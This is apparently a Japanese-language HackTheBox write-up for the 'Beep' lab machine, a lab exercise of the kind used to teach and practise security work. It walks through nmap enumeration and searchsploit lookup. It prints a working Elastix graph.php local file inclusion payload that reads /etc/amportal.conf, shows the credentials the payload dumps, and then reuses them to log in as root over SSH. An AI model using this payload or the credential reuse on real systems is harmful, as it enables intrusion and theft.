【HackTheBox】Beep - Writeup -

#【HackTheBox】Beep 


![1_MGQ_Xh2cJMhaSKEZWaIpyQ.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636896/baa22873-03a3-48bf-b561-80c9b18290a8.png)

---



## ポート列挙 (nmap enumeration)

```
map -T5 --min-rate 10000 10.10.10.7
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
111/tcp  open  rpcbind
143/tcp  open  imap
443/tcp  open  https
993/tcp  open  imaps
995/tcp  open  pop3s
3306/tcp open  mysql
4445/tcp open  upnotifyp
```
基本的なポートがわかったので、-A(詳細オプション)でさらに多くの情報を調べます。

```
awk '{print $1}' | grep -o '[0-9]\+' | sed -z 's/\n/,/g' | sed 's/.$//g'
```
以上のコマンドで出てきたポート番号をすらっと整頓できます。

```
nmap -p 22,25,80,110,111,143,443,993,995,3306,4445 -A 10.10.10.7
22/tcp   open  ssh        OpenSSH 4.3 (protocol 2.0)                                                                                
| ssh-hostkey:                                                                                                                      
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)                                                                      
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)                                                                      
25/tcp   open  smtp       Postfix smtpd                           
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
80/tcp   open  http       Apache httpd 2.2.3                      
|_http-server-header: Apache/2.2.3 (CentOS)                       
|_http-title: Did not follow redirect to https://10.10.10.7/                                                                        
|_https-redirect: ERROR: Script execution failed (use -d to debug)                                                                  
110/tcp  open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4                                                              
|_pop3-capabilities: EXPIRE(NEVER) AUTH-RESP-CODE LOGIN-DELAY(0) APOP IMPLEMENTATION(Cyrus POP3 server v2) TOP USER RESP-CODES UIDL STLS PIPELINING
111/tcp  open  rpcbind    2 (RPC #100000)                         
143/tcp  open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4                                                              
|_imap-capabilities: RENAME THREAD=REFERENCES RIGHTS=kxte Completed URLAUTHA0001 X-NETSCAPE QUOTA CONDSTORE LIST-SUBSCRIBED LISTEXT ACL CATENATE STARTTLS IMAP4rev1 ANNOTATEMORE THREAD=ORDEREDSUBJECT MULTIAPPEND OK ID UNSELECT SORT BINARY MAILBOX-REFERRALS UIDPLUS CHILDREN IMAP4 LITERAL+ ATOMIC NO SORT=MODSEQ NAMESPACE IDLE      
443/tcp  open  ssl/https?                                         
|_ssl-date: 2020-07-11T10:55:40+00:00; +17s from scanner time.                                                                      
993/tcp  open  ssl/imap   Cyrus imapd                             
|_imap-capabilities: CAPABILITY                                   
995/tcp  open  pop3s?                                             
3306/tcp open  mysql      MySQL (unauthorized)                                                                                      
4445/tcp open  upnotifyp?      
```

### 予想

1. smtp->imapとpop3があるので、メールサーバーがある。
2. http/httpsのウェブサイトがある。
3. sshでウェブサイト管理をしている模様。
4. mysqlで何らかのデータを管理している。

## Web

Elastixというサービスをホストしているウェブサイトであった。

---**Elastix** ---
*Elastixは、IP PBX、電子メール、IM、FAX、およびコラボレーション機能を統合する統合コミュニケーションサーバーソフトウェアです。 Webインターフェイスがあり、予測ダイヤル機能を備えたコールセンターソフトウェアなどの機能が含まれています。*

というわけで、色々なサービスが稼働していたわけみたい。

よくみてみると、2011年題のファイルアップロードが多いので、バージョンを調べる。

``` • 2011-11-05: Distribution Release: Elastix 2.2```

```
#searchspoloitで脆弱性のあるソフトウェアを調べる
searchsploit elastix

Elastix 2.2.0 - 'graph.php' Local File Inclusion | php/webapps/37637.pl
#スクリプトの中身から取り出した攻撃コード
\#/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action


```
---**LFI**---
*ローカルファイルインクルードは、外部ファイルの読み込みではなく
サーバー内のファイルを不正に読み込んだり、意図しない動作を起こして脆弱性を発生させたりします。*

\#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

ブラウザでコード注入ぅう！

![Screenshot from 2020-07-11 20-40-10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636896/e59bffce-32d4-3e69-ec35-08bc9f31047f.png)


`ページソースを見る｜view-source:https://*`
とすると、整頓されたコードがみれてみやすくなります。


```AMPDBHOST=localhost
AMPDBENGINE=mysql
# AMPDBNAME=asterisk
AMPDBUSER=asteriskuser
# AMPDBPASS=amp109
AMPDBPASS=jEhdIekWmdjE
AMPENGINE=asterisk
AMPMGRUSER=admin
#AMPMGRPASS=amp111
AMPMGRPASS=jEhdIekWmdjE
```
使えそうななユーザーは `admin:jEhdIekWmdjE`
ハッシュタグ`#`でコメントアウトされてないので、現行ユーザの可能性。

![Screenshot from 2020-07-11 20-49-35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636896/9dc2ab93-fbdf-d34c-2141-0de6c0a85ffe.png)
ログイン成功。

しかし、リバースシェルをアップロードする場所がなかったのでsshで試してみる。

## SSH

ユーザーは`admin`で最初試したが、失敗したので`root`でログインしてみる。

```
➜  ~ ssh root@10.10.10.7
root@10.10.10.7's password: 
Last login: Tue Jul 16 11:45:47 2019

Welcome to Elastix 
----------------------------------------------------

To access your Elastix System, using a separate workstation (PC/MAC/Linux)
Open the Internet Browser using the following URL:
http://10.10.10.7

[root@beep ~]# ls
anaconda-ks.cfg		   install.log	       postnochroot  webmin-1.570-1.noarch.rpm
elastix-pr-2.2-1.i386.rpm  install.log.syslog  root.txt
[root@beep ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@beep ~]# whoami
root
[root@beep ~]# 
```

## まとめ

- LFI (Local File Inclusion)脆弱性についての実践が出来た。
- searchsploitでの脆弱性を調べる手順（バージョン確認->SearchSploit )